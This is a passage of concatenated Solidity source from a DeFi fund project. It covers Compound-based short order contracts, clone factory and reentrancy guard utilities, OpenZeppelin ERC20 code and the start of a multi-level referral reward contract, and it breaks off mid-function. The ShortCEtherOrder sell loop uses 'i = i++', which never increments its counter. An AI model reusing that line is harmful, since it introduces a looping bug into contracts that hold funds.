function repayLoan(uint256 _repayAmountInUSDC) public onlyOwner {
require(buyTime > 0); // Ensure the order has been executed
// Convert longing token to USDC
uint256 repayAmountInToken = __usdcToToken(compoundTokenAddr, _repayAmountInUSDC);
(uint256 actualUSDCAmount,) = __sellTokenForUSDC(repayAmountInToken);
// Check if amount is greater than borrow balance
uint256 currentDebt = CUSDC.borrowBalanceCurrent(address(this));
if (actualUSDCAmount > currentDebt) {
actualUSDCAmount = currentDebt;
}
// Repay loan to Compound
usdc.safeApprove(address(CUSDC), 0);
usdc.safeApprove(address(CUSDC), actualUSDCAmount);
require(CUSDC.repayBorrow(actualUSDCAmount) == 0);
usdc.safeApprove(address(CUSDC), 0);
}
function getMarketCollateralFactor() public view returns (uint256) {
(, uint256 ratio) = COMPTROLLER.markets(address(compoundTokenAddr));
return ratio;
}
function getCurrentCollateralInUSDC() public returns (uint256 _amount) {
CEther market = CEther(compoundTokenAddr);
uint256 supply = __tokenToUSDC(compoundTokenAddr, market.balanceOf(address(this)).mul(market.exchangeRateCurrent()).div(PRECISION));
return supply;
}
function getCurrentBorrowInUSDC() public returns (uint256 _amount) {
uint256 borrow = CUSDC.borrowBalanceCurrent(address(this));
return borrow;
}
function getCurrentCashInUSDC() public view returns (uint256 _amount) {
ERC20Detailed token = __underlyingToken(compoundTokenAddr);
uint256 cash = __tokenToUSDC(compoundTokenAddr, getBalance(token, address(this)));
return cash;
}
}
pragma solidity 0.5.17;
import "./CompoundOrder.sol";
contract ShortCERC20Order is CompoundOrder {
modifier isValidPrice(uint256 _minPrice, uint256 _maxPrice) {
// Ensure token's price is between _minPrice and _maxPrice
uint256 tokenPrice = ORACLE.getUnderlyingPrice(compoundTokenAddr); // Get the shorting token's price in USD
require(tokenPrice > 0); // Ensure asset exists on Compound
require(tokenPrice >= _minPrice && tokenPrice <= _maxPrice); // Ensure price is within range
_;
}
function executeOrder(uint256 _minPrice, uint256 _maxPrice)
public
onlyOwner
isValidToken(compoundTokenAddr)
isValidPrice(_minPrice, _maxPrice)
{
buyTime = now;
// Get funds in USDC from PeakDeFiFund
usdc.safeTransferFrom(owner(), address(this), collateralAmountInUSDC); // Transfer USDC from PeakDeFiFund
// Enter Compound markets
CERC20 market = CERC20(compoundTokenAddr);
address[] memory markets = new address[](2);
markets[0] = compoundTokenAddr;
markets[1] = address(CUSDC);
uint[] memory errors = COMPTROLLER.enterMarkets(markets);
require(errors[0] == 0 && errors[1] == 0);
// Get loan from Compound in tokenAddr
uint256 loanAmountInToken = __usdcToToken(compoundTokenAddr, loanAmountInUSDC);
usdc.safeApprove(address(CUSDC), 0); // Clear USDC allowance of Compound USDC market
usdc.safeApprove(address(CUSDC), collateralAmountInUSDC); // Approve USDC transfer to Compound USDC market
require(CUSDC.mint(collateralAmountInUSDC) == 0); // Transfer USDC into Compound as supply
usdc.safeApprove(address(CUSDC), 0);
require(market.borrow(loanAmountInToken) == 0);// Take out loan
(bool negLiquidity, ) = getCurrentLiquidityInUSDC();
require(!negLiquidity); // Ensure account liquidity is positive
// Convert loaned tokens to USDC
(uint256 actualUSDCAmount,) = __sellTokenForUSDC(loanAmountInToken);
loanAmountInUSDC = actualUSDCAmount; // Change loan amount to actual USDC received
// Repay leftover tokens to avoid complications
ERC20Detailed token = __underlyingToken(compoundTokenAddr);
if (token.balanceOf(address(this)) > 0) {
uint256 repayAmount = token.balanceOf(address(this));
token.safeApprove(compoundTokenAddr, 0);
token.safeApprove(compoundTokenAddr, repayAmount);
require(market.repayBorrow(repayAmount) == 0);
token.safeApprove(compoundTokenAddr, 0);
}
}
function sellOrder(uint256 _minPrice, uint256 _maxPrice)
public
onlyOwner
isValidPrice(_minPrice, _maxPrice)
returns (uint256 _inputAmount, uint256 _outputAmount)
{
require(buyTime > 0); // Ensure the order has been executed
require(isSold == false);
isSold = true;
// Siphon remaining collateral by repaying x USDC and getting back 1.5x USDC collateral
// Repeat to ensure debt is exhausted
for (uint256 i = 0; i < MAX_REPAY_STEPS; i++) {
uint256 currentDebt = getCurrentBorrowInUSDC();
if (currentDebt > NEGLIGIBLE_DEBT) {
// Determine amount to be repaid this step
uint256 currentBalance = getCurrentCashInUSDC();
uint256 repayAmount = 0; // amount to be repaid in USDC
if (currentDebt <= currentBalance) {
// Has enough money, repay all debt
repayAmount = currentDebt;
} else {
// Doesn't have enough money, repay whatever we can repay
repayAmount = currentBalance;
}
// Repay debt
repayLoan(repayAmount);
}
// Withdraw all available liquidity
(bool isNeg, uint256 liquidity) = getCurrentLiquidityInUSDC();
if (!isNeg) {
uint256 errorCode = CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(DEFAULT_LIQUIDITY_SLIPPAGE)).div(PRECISION));
if (errorCode != 0) {
// error
// try again with fallback slippage
errorCode = CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(FALLBACK_LIQUIDITY_SLIPPAGE)).div(PRECISION));
if (errorCode != 0) {
// error
// try again with max slippage
CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(MAX_LIQUIDITY_SLIPPAGE)).div(PRECISION));
}
}
}
if (currentDebt <= NEGLIGIBLE_DEBT) {
break;
}
}
// Send USDC back to PeakDeFiFund and return
_inputAmount = collateralAmountInUSDC;
_outputAmount = usdc.balanceOf(address(this));
outputAmount = _outputAmount;
usdc.safeTransfer(owner(), usdc.balanceOf(address(this)));
}
// Allows manager to repay loan to avoid liquidation
function repayLoan(uint256 _repayAmountInUSDC) public onlyOwner {
require(buyTime > 0); // Ensure the order has been executed
// Convert USDC to shorting token
(,uint256 actualTokenAmount) = __sellUSDCForToken(_repayAmountInUSDC);
// Check if amount is greater than borrow balance
CERC20 market = CERC20(compoundTokenAddr);
uint256 currentDebt = market.borrowBalanceCurrent(address(this));
if (actualTokenAmount > currentDebt) {
actualTokenAmount = currentDebt;
}
// Repay loan to Compound
ERC20Detailed token = __underlyingToken(compoundTokenAddr);
token.safeApprove(compoundTokenAddr, 0);
token.safeApprove(compoundTokenAddr, actualTokenAmount);
require(market.repayBorrow(actualTokenAmount) == 0);
token.safeApprove(compoundTokenAddr, 0);
}
function getMarketCollateralFactor() public view returns (uint256) {
(, uint256 ratio) = COMPTROLLER.markets(address(CUSDC));
return ratio;
}
function getCurrentCollateralInUSDC() public returns (uint256 _amount) {
uint256 supply = CUSDC.balanceOf(address(this)).mul(CUSDC.exchangeRateCurrent()).div(PRECISION);
return supply;
}
function getCurrentBorrowInUSDC() public returns (uint256 _amount) {
CERC20 market = CERC20(compoundTokenAddr);
uint256 borrow = __tokenToUSDC(compoundTokenAddr, market.borrowBalanceCurrent(address(this)));
return borrow;
}
function getCurrentCashInUSDC() public view returns (uint256 _amount) {
uint256 cash = getBalance(usdc, address(this));
return cash;
}
}
pragma solidity 0.5.17;
import "./CompoundOrder.sol";
contract ShortCEtherOrder is CompoundOrder {
modifier isValidPrice(uint256 _minPrice, uint256 _maxPrice) {
// Ensure token's price is between _minPrice and _maxPrice
uint256 tokenPrice = ORACLE.getUnderlyingPrice(compoundTokenAddr); // Get the shorting token's price in USD
require(tokenPrice > 0); // Ensure asset exists on Compound
require(tokenPrice >= _minPrice && tokenPrice <= _maxPrice); // Ensure price is within range
_;
}
function executeOrder(uint256 _minPrice, uint256 _maxPrice)
public
onlyOwner
isValidToken(compoundTokenAddr)
isValidPrice(_minPrice, _maxPrice)
{
buyTime = now;
// Get funds in USDC from PeakDeFiFund
usdc.safeTransferFrom(owner(), address(this), collateralAmountInUSDC); // Transfer USDC from PeakDeFiFund
// Enter Compound markets
CEther market = CEther(compoundTokenAddr);
address[] memory markets = new address[](2);
markets[0] = compoundTokenAddr;
markets[1] = address(CUSDC);
uint[] memory errors = COMPTROLLER.enterMarkets(markets);
require(errors[0] == 0 && errors[1] == 0);
// Get loan from Compound in tokenAddr
uint256 loanAmountInToken = __usdcToToken(compoundTokenAddr, loanAmountInUSDC);
usdc.safeApprove(address(CUSDC), 0); // Clear USDC allowance of Compound USDC market
usdc.safeApprove(address(CUSDC), collateralAmountInUSDC); // Approve USDC transfer to Compound USDC market
require(CUSDC.mint(collateralAmountInUSDC) == 0); // Transfer USDC into Compound as supply
usdc.safeApprove(address(CUSDC), 0);
require(market.borrow(loanAmountInToken) == 0);// Take out loan
(bool negLiquidity, ) = getCurrentLiquidityInUSDC();
require(!negLiquidity); // Ensure account liquidity is positive
// Convert loaned tokens to USDC
(uint256 actualUSDCAmount,) = __sellTokenForUSDC(loanAmountInToken);
loanAmountInUSDC = actualUSDCAmount; // Change loan amount to actual USDC received
// Repay leftover tokens to avoid complications
if (address(this).balance > 0) {
uint256 repayAmount = address(this).balance;
market.repayBorrow.value(repayAmount)();
}
}
function sellOrder(uint256 _minPrice, uint256 _maxPrice)
public
onlyOwner
isValidPrice(_minPrice, _maxPrice)
returns (uint256 _inputAmount, uint256 _outputAmount)
{
require(buyTime > 0); // Ensure the order has been executed
require(isSold == false);
isSold = true;
// Siphon remaining collateral by repaying x USDC and getting back 1.5x USDC collateral
// Repeat to ensure debt is exhausted
for (uint256 i = 0; i < MAX_REPAY_STEPS; i = i++) {
uint256 currentDebt = getCurrentBorrowInUSDC();
if (currentDebt > NEGLIGIBLE_DEBT) {
// Determine amount to be repaid this step
uint256 currentBalance = getCurrentCashInUSDC();
uint256 repayAmount = 0; // amount to be repaid in USDC
if (currentDebt <= currentBalance) {
// Has enough money, repay all debt
repayAmount = currentDebt;
} else {
// Doesn't have enough money, repay whatever we can repay
repayAmount = currentBalance;
}
// Repay debt
repayLoan(repayAmount);
}
// Withdraw all available liquidity
(bool isNeg, uint256 liquidity) = getCurrentLiquidityInUSDC();
if (!isNeg) {
uint256 errorCode = CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(DEFAULT_LIQUIDITY_SLIPPAGE)).div(PRECISION));
if (errorCode != 0) {
// error
// try again with fallback slippage
errorCode = CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(FALLBACK_LIQUIDITY_SLIPPAGE)).div(PRECISION));
if (errorCode != 0) {
// error
// try again with max slippage
CUSDC.redeemUnderlying(liquidity.mul(PRECISION.sub(MAX_LIQUIDITY_SLIPPAGE)).div(PRECISION));
}
}
}
if (currentDebt <= NEGLIGIBLE_DEBT) {
break;
}
}
// Send USDC back to PeakDeFiFund and return
_inputAmount = collateralAmountInUSDC;
_outputAmount = usdc.balanceOf(address(this));
outputAmount = _outputAmount;
usdc.safeTransfer(owner(), usdc.balanceOf(address(this)));
}
// Allows manager to repay loan to avoid liquidation
function repayLoan(uint256 _repayAmountInUSDC) public onlyOwner {
require(buyTime > 0); // Ensure the order has been executed
// Convert USDC to shorting token
(,uint256 actualTokenAmount) = __sellUSDCForToken(_repayAmountInUSDC);
// Check if amount is greater than borrow balance
CEther market = CEther(compoundTokenAddr);
uint256 currentDebt = market.borrowBalanceCurrent(address(this));
if (actualTokenAmount > currentDebt) {
actualTokenAmount = currentDebt;
}
// Repay loan to Compound
market.repayBorrow.value(actualTokenAmount)();
}
function getMarketCollateralFactor() public view returns (uint256) {
(, uint256 ratio) = COMPTROLLER.markets(address(CUSDC));
return ratio;
}
function getCurrentCollateralInUSDC() public returns (uint256 _amount) {
uint256 supply = CUSDC.balanceOf(address(this)).mul(CUSDC.exchangeRateCurrent()).div(PRECISION);
return supply;
}
function getCurrentBorrowInUSDC() public returns (uint256 _amount) {
CEther market = CEther(compoundTokenAddr);
uint256 borrow = __tokenToUSDC(compoundTokenAddr, market.borrowBalanceCurrent(address(this)));
return borrow;
}
function getCurrentCashInUSDC() public view returns (uint256 _amount) {
uint256 cash = getBalance(usdc, address(this));
return cash;
}
}
pragma solidity 0.5.17;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target) internal returns (address result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
function isClone(address target, address query) internal view returns (bool result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000)
mstore(add(clone, 0xa), targetBytes)
mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
pragma solidity 0.5.17;
interface IMiniMeToken {
function balanceOf(address _owner) external view returns (uint256 balance);
function totalSupply() external view returns(uint);
function generateTokens(address _owner, uint _amount) external returns (bool);
function destroyTokens(address _owner, uint _amount) external returns (bool);
function totalSupplyAt(uint _blockNumber) external view returns(uint);
function balanceOfAt(address _holder, uint _blockNumber) external view returns (uint);
function transferOwnership(address newOwner) external;
}
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* _Since v2.5.0:_ this module is now much more gas efficient, given net gas
* metering changes introduced in the Istanbul hardfork.
*/
contract ReentrancyGuard {
bool private _notEntered;
function __initReentrancyGuard() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
pragma solidity 0.5.17;
contract Migrations {
address public owner;
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
constructor() public {
owner = msg.sender;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) public restricted {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
pragma solidity 0.5.17;
// interface for contract_v6/UniswapOracle.sol
interface IUniswapOracle {
function update() external returns (bool success);
function consult(address token, uint256 amountIn)
external
view
returns (uint256 amountOut);
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Capped.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
contract PeakToken is ERC20, ERC20Detailed, ERC20Capped, ERC20Burnable {
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 cap
) ERC20Detailed(name, symbol, decimals) ERC20Capped(cap) public {}
}
pragma solidity ^0.5.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
pragma solidity ^0.5.0;
import "./ERC20Mintable.sol";
/**
* @dev Extension of {ERC20Mintable} that adds a cap to the supply of tokens.
*/
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20Mintable-mint}.
*
* Requirements:
*
* - `value` must not cause the total supply to go over the cap.
*/
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded");
super._mint(account, value);
}
}
pragma solidity ^0.5.0;
import "./ERC20.sol";
import "../../access/roles/MinterRole.sol";
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
pragma solidity ^0.5.0;
import "../../GSN/Context.sol";
import "../Roles.sol";
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
import "../../GSN/Context.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/access/roles/SignerRole.sol";
import "../staking/PeakStaking.sol";
import "../PeakToken.sol";
import "../IUniswapOracle.sol";
contract PeakReward is SignerRole {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event Register(address user, address referrer);
event RankChange(address user, uint256 oldRank, uint256 newRank);
event PayCommission(
address referrer,
address recipient,
address token,
uint256 amount,
uint8 level
);
event ChangedCareerValue(address user, uint256 changeAmount, bool positive);
event ReceiveRankReward(address user, uint256 peakReward);
modifier regUser(address user) {
if (!isUser[user]) {
isUser[user] = true;
emit Register(user, address(0));
}
_;
}
uint256 public constant PEAK_MINT_CAP = 5 * 10**15; // 50 million PEAK
uint256 internal constant COMMISSION_RATE = 20 * (10**16); // 20%
uint256 internal constant PEAK_PRECISION = 10**8;
uint256 internal constant USDC_PRECISION = 10**6;
uint8 internal constant COMMISSION_LEVELS = 8;
mapping(address => address) public referrerOf;
mapping(address => bool) public isUser;
mapping(address => uint256) public careerValue; // AKA DSV
mapping(address => uint256) public rankOf;
mapping(uint256 => mapping(uint256 => uint256)) public rankReward; // (beforeRank, afterRank) => rewardInPeak
mapping(address => mapping(uint256 => uint256)) public downlineRanks; // (referrer, rank) => numReferredUsersWithRank
uint256[] public commissionPercentages;
uint256[] public commissionStakeRequirements;
uint256 public mintedPeakTokens;
address public marketPeakWallet;
PeakStaking public peakStaking;
PeakToken public peakToken;
address public stablecoin;
IUniswapOracle public oracle;
constructor(
address _marketPeakWallet,
address _peakStaking,
address _peakToken,
address _stablecoin,
address _oracle
) public {
// initialize commission percentages for each level
commissionPercentages.push(10 * (10**16)); // 10%
commissionPercentages.push(4 * (10**16)); // 4%
commissionPercentages.push(2 * (10**16)); // 2%
commissionPercentages.push(1 * (10**16)); // 1%
commissionPercentages.push(1 * (10**16)); // 1%
commissionPercentages.push(1 * (10**16)); // 1%
commissionPercentages.push(5 * (10**15)); // 0.5%
commissionPercentages.push(5 * (10**15)); // 0.5%
// initialize commission stake requirements for each level
commissionStakeRequirements.push(0);
commissionStakeRequirements.push(PEAK_PRECISION.mul(2000));
commissionStakeRequirements.push(PEAK_PRECISION.mul(4000));
commissionStakeRequirements.push(PEAK_PRECISION.mul(6000));
commissionStakeRequirements.push(PEAK_PRECISION.mul(7000));
commissionStakeRequirements.push(PEAK_PRECISION.mul(8000));
commissionStakeRequirements.push(PEAK_PRECISION.mul(9000));
commissionStakeRequirements.push(PEAK_PRECISION.mul(10000));
// initialize rank rewards
for (uint256 i = 0; i < 8; i = i.add(1)) {
uint256 rewardInUSDC = 0;
for (uint256 j = i.add(1); j <= 8; j = j.add(1)) {
if (j == 1) {
rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(100));
} else if (j == 2) {
rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(300));
} else if (j == 3) {
rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(600));
} else if (j == 4) {
rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(1200));
} else if (j == 5) {
rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(2400));
} else if (j == 6) {
rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(7500));
} else if (j == 7) {
rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(15000));
} else {
rewardInUSDC = rewardInUSDC.add(USDC_PRECISION.mul(50000));
}
rankReward[i][j] = rewardInUSDC;
}
}
marketPeakWallet = _marketPeakWallet;
peakStaking = PeakStaking(_peakStaking);
peakToken = PeakToken(_peakToken);
stablecoin = _stablecoin;
oracle = IUniswapOracle(_oracle);
}
/**
@notice Registers a group of referrals relationship.
@param users The array of users
@param referrers The group of referrers of `users`
*/
function multiRefer(address[] calldata users, address[] calldata referrers) external onlySigner {
require(users.length == referrers.length, "PeakReward: arrays length are not equal");
for (uint256 i = 0; i < users.length; i++) {
refer(users[i], referrers[i]);
}
}
/**
@notice Registers a referral relationship
@param user The user who is being referred
@param referrer The referrer of `user`
*/
function refer(address user, address referrer) public onlySigner {
require(!isUser[user], "PeakReward: referred is already a user");
require(user != referrer, "PeakReward: can't refer self");
require(
user != address(0) && referrer != address(0),
"PeakReward: 0 address"
);
isUser[user] = true;
isUser[referrer] = true;
referrerOf[user] = referrer;
